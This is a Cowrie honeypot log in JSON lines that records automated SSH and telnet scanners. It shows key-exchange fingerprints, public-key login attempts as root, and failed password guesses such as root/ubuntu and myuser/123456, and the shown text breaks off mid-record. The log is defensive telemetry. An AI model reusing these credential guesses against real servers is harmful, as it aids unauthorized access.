{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.197011Z","src_ip":"176.65.132.129","session":"9efa2a61b16e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:cc:cb:4d:ce:1a:86:04:b4:73:0b:b6:0e:a3:a0:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIr4l3M4PVAnpsJHceXcWUkP6Kj2u/ciCPri5BaJBkhI/zoLJAEafHrGB4jnhyNpLK20173WYl9pbeCHj/KRAQtsc1+htKaYdSe9Nh73thQGYbmyATB6CfczT4RKzIbvnQyoFfZL4RkYkirMYW90xIGutBIRKR93QRI3kMIwmLpnpAIMUiUIuZOOL4/JZ6mAWmSY861XEhmVkXrHzycLrEmStGXIgYgJtZphWHcYqa56jDkbsRDjlK4YlgJI9CrzYVXgiquuJt/+OpJ5eaHu+THnrBiEvLCG7s3QWY3OuYnk+g136zEWTK3NgxkiMbc82ZZf9Yz1y2cLwyNmd+6DGD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:cc:cb:4d:ce:1a:86:04:b4:73:0b:b6:0e:a3:a0:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.255152Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:cc:cb:4d:ce:1a:86:04:b4:73:0b:b6:0e:a3:a0:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIr4l3M4PVAnpsJHceXcWUkP6Kj2u/ciCPri5BaJBkhI/zoLJAEafHrGB4jnhyNpLK20173WYl9pbeCHj/KRAQtsc1+htKaYdSe9Nh73thQGYbmyATB6CfczT4RKzIbvnQyoFfZL4RkYkirMYW90xIGutBIRKR93QRI3kMIwmLpnpAIMUiUIuZOOL4/JZ6mAWmSY861XEhmVkXrHzycLrEmStGXIgYgJtZphWHcYqa56jDkbsRDjlK4YlgJI9CrzYVXgiquuJt/+OpJ5eaHu+THnrBiEvLCG7s3QWY3OuYnk+g136zEWTK3NgxkiMbc82ZZf9Yz1y2cLwyNmd+6DGD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.259329Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:d2:b0:7f:50:32:5b:cd:39:1a:9e:c3:83:52:3f:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr1wvb/TJC0kURXL+unsVTOd0jb87u4naI0aQgGhh2TDzb+Zx/jWjBE3YjWlYgkEt0Ep1BnWtZMQ6bcAIzUJmBU+eEJyU9ntloENd1s1xvqVsg3fPDaxJzz9d3Ogzt23ec4pSoesi1otzcDhmjFTkXSyVwsH5TxfwPczxJoIIgPPVFPKljiGklkBEt6c0JkSA2UDuXig70HpvdCo9eyolgAAVwfFdBYXYy/O+VP4LYQQ7B+OPFBOEMQ5w+4v0pG1v1UE9iPnQw1kHHlRR5B57akVfm3EsqdVk//n9DaNmOGgm8TMrgKl1vLElrgspu4s4YQNOtQgnXItUXDgzKHaul","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:d2:b0:7f:50:32:5b:cd:39:1a:9e:c3:83:52:3f:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.332506Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:d2:b0:7f:50:32:5b:cd:39:1a:9e:c3:83:52:3f:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr1wvb/TJC0kURXL+unsVTOd0jb87u4naI0aQgGhh2TDzb+Zx/jWjBE3YjWlYgkEt0Ep1BnWtZMQ6bcAIzUJmBU+eEJyU9ntloENd1s1xvqVsg3fPDaxJzz9d3Ogzt23ec4pSoesi1otzcDhmjFTkXSyVwsH5TxfwPczxJoIIgPPVFPKljiGklkBEt6c0JkSA2UDuXig70HpvdCo9eyolgAAVwfFdBYXYy/O+VP4LYQQ7B+OPFBOEMQ5w+4v0pG1v1UE9iPnQw1kHHlRR5B57akVfm3EsqdVk//n9DaNmOGgm8TMrgKl1vLElrgspu4s4YQNOtQgnXItUXDgzKHaul","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.336513Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:0d:5c:86:b4:00:fc:bf:6f:66:d4:d9:46:f2:2f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkZtFbODl0w3/z4e2dEsDkT069NY8cu4kkpTnRS52xMqJByS5XZeYZHe78UJ/FH2hyhachCGZiL5dWBAb483Ex1Rf2jnOVs/DIp6UFofqAdkmkTZpANfqtWsslOL8WBkEEngelL6Euy+pkZ0o2knR2cvhj0cLDhL6O/vYE+Xl5+aNRYNswgvhK3mcBCaV5uoPs0JJFRXrRu9SYPb4JJWR6nkuql9XdA1BCnTPVogXRRdddooGYw2m+OSM/UeF+/qvcz410HNx7i+RD0WTqSK+HHAZyKVZK3e2xETN6/GyZmB9PW9FO7bOAOBXkW9MGIAVaVJ9DmGimekkVjiVPFs7vbjk5eyKb7i5QqR9UQKMe8LORp4e/twf3UZQJDFdROJ0CJEuEQmooPT6/kZH5wnvv1iRwkiocjqd6rCjuNRs61IR4A71cNKn2yOwcgs+Lqz84lDwDlUInAbxlAqjikhsdSuSuLgivZzoXYBTxwrlCzeqhFfCjohQ1dajHWklofDk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:0d:5c:86:b4:00:fc:bf:6f:66:d4:d9:46:f2:2f:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.409782Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:0d:5c:86:b4:00:fc:bf:6f:66:d4:d9:46:f2:2f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkZtFbODl0w3/z4e2dEsDkT069NY8cu4kkpTnRS52xMqJByS5XZeYZHe78UJ/FH2hyhachCGZiL5dWBAb483Ex1Rf2jnOVs/DIp6UFofqAdkmkTZpANfqtWsslOL8WBkEEngelL6Euy+pkZ0o2knR2cvhj0cLDhL6O/vYE+Xl5+aNRYNswgvhK3mcBCaV5uoPs0JJFRXrRu9SYPb4JJWR6nkuql9XdA1BCnTPVogXRRdddooGYw2m+OSM/UeF+/qvcz410HNx7i+RD0WTqSK+HHAZyKVZK3e2xETN6/GyZmB9PW9FO7bOAOBXkW9MGIAVaVJ9DmGimekkVjiVPFs7vbjk5eyKb7i5QqR9UQKMe8LORp4e/twf3UZQJDFdROJ0CJEuEQmooPT6/kZH5wnvv1iRwkiocjqd6rCjuNRs61IR4A71cNKn2yOwcgs+Lqz84lDwDlUInAbxlAqjikhsdSuSuLgivZzoXYBTxwrlCzeqhFfCjohQ1dajHWklofDk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.413499Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:dc:b2:91:51:f6:9e:d7:e9:e8:b2:5f:07:4f:30:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx1rt8TdRrgQqo4TcB4RhfxOR1sJhVIyrp1I3cZ8E5q1Vnd+8Hl1aHxOZiHZAXWgHNJDz/+NGwlfXwW6TqZBBzA1t4DHkPydml+3ATC1zUL9j1QzVaJ8HX7p0OFnrhdA/CwVwtxQVPPHKD9WuSy8GjPh4OM68ZkZUoLGvjSzabcaPE2rTMUMxvHYehcbGndAhIbceKajSvqtgRWkHhue2sXNDc+9GIniY56vH0FdQOsypTluAfF1fIWfiRIPRK5dCda3UX0dCndi4NZBC6pcoZaI2+0ygPArLjwXplG/Gsne4fHjf9crHFNmtBmDy6UQAaA7+YLNTLJThsTzI6vlRSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:dc:b2:91:51:f6:9e:d7:e9:e8:b2:5f:07:4f:30:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.489986Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:dc:b2:91:51:f6:9e:d7:e9:e8:b2:5f:07:4f:30:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx1rt8TdRrgQqo4TcB4RhfxOR1sJhVIyrp1I3cZ8E5q1Vnd+8Hl1aHxOZiHZAXWgHNJDz/+NGwlfXwW6TqZBBzA1t4DHkPydml+3ATC1zUL9j1QzVaJ8HX7p0OFnrhdA/CwVwtxQVPPHKD9WuSy8GjPh4OM68ZkZUoLGvjSzabcaPE2rTMUMxvHYehcbGndAhIbceKajSvqtgRWkHhue2sXNDc+9GIniY56vH0FdQOsypTluAfF1fIWfiRIPRK5dCda3UX0dCndi4NZBC6pcoZaI2+0ygPArLjwXplG/Gsne4fHjf9crHFNmtBmDy6UQAaA7+YLNTLJThsTzI6vlRSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.495456Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.538788Z","src_ip":"176.65.132.129","session":"9efa2a61b16e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:09:aa:69:4b:98:15:dd:cf:22:b0:36:7f:2d:b9:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP2GFVFW6bf2NfByuvQW1QRlvOskPNnACBhdNhfmFusB7yUIkBsRSKGMM8MTn0EU1mZToN3vewn6Bbi8ZpUzXqk97ofovFKHbZAakYDDbxDZeumkDifn3o1tRUfcUUM99XDukdpxyA+BM79EIJghkkj3gE3t8l1s5hYa0dBR0w7vMacXaqx9n5dR5Sxq3/Koux5uIph8y0aBxE2M6JUjwvJ5Qu7kz9W8EliiojfZgiyXYoEqEir6dmfpQUxr/3EfkIli2Kf5ACIDzAMXMKpMlLN7m/2rd49RurKea+U7fbZWXnj58vnQjEVdDNSJd6WV5BH0vaZXTHwb6yf5yNexDr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:09:aa:69:4b:98:15:dd:cf:22:b0:36:7f:2d:b9:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.571117Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:09:aa:69:4b:98:15:dd:cf:22:b0:36:7f:2d:b9:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP2GFVFW6bf2NfByuvQW1QRlvOskPNnACBhdNhfmFusB7yUIkBsRSKGMM8MTn0EU1mZToN3vewn6Bbi8ZpUzXqk97ofovFKHbZAakYDDbxDZeumkDifn3o1tRUfcUUM99XDukdpxyA+BM79EIJghkkj3gE3t8l1s5hYa0dBR0w7vMacXaqx9n5dR5Sxq3/Koux5uIph8y0aBxE2M6JUjwvJ5Qu7kz9W8EliiojfZgiyXYoEqEir6dmfpQUxr/3EfkIli2Kf5ACIDzAMXMKpMlLN7m/2rd49RurKea+U7fbZWXnj58vnQjEVdDNSJd6WV5BH0vaZXTHwb6yf5yNexDr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.575474Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:36.648963Z","src_ip":"198.199.106.159","session":"d2d093b2324c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:37.622893Z","src_ip":"176.65.132.129","session":"9efa2a61b16e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36928,"dst_ip":"159.203.135.109","dst_port":22,"session":"d34816857ab2","protocol":"ssh","message":"New connection: 176.65.132.129:36928 (159.203.135.109:22) [session: d34816857ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:39.377402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:39.382736Z","src_ip":"176.65.132.129","session":"d34816857ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:39.468759Z","src_ip":"176.65.132.129","session":"d34816857ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:39.716341Z","src_ip":"176.65.132.129","session":"d34816857ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":48336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5055d036f43e","protocol":"ssh","message":"New connection: 45.132.125.41:48336 (159.203.135.109:22) [session: 5055d036f43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.155428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.159967Z","src_ip":"45.132.125.41","session":"5055d036f43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.265525Z","src_ip":"45.132.125.41","session":"5055d036f43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.01741528511047,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.439121Z","src_ip":"152.42.224.71","session":"010373be6861","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gorge","message":"login attempt [root/gorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.720762Z","src_ip":"45.132.125.41","session":"5055d036f43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:40.804113Z","src_ip":"176.65.132.129","session":"d34816857ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50602,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c07bd33d39","protocol":"telnet","message":"New connection: 152.42.224.71:50602 (10.17.0.5:23) [session: 89c07bd33d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:41.716264Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:41.828262Z","src_ip":"45.132.125.41","session":"5055d036f43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac942c7eca3e","protocol":"ssh","message":"New connection: 176.65.132.129:36938 (159.203.135.109:22) [session: ac942c7eca3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:42.549251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:42.553983Z","src_ip":"176.65.132.129","session":"ac942c7eca3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:42.642992Z","src_ip":"176.65.132.129","session":"ac942c7eca3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:42.889260Z","src_ip":"176.65.132.129","session":"ac942c7eca3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:43.975151Z","src_ip":"176.65.132.129","session":"ac942c7eca3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.98652005195618,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:44.613704Z","src_ip":"152.42.224.71","session":"876bf32e73c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfb70d873c2","protocol":"ssh","message":"New connection: 176.65.132.129:33676 (159.203.135.109:22) [session: 0cfb70d873c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:45.768940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:45.773504Z","src_ip":"176.65.132.129","session":"0cfb70d873c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 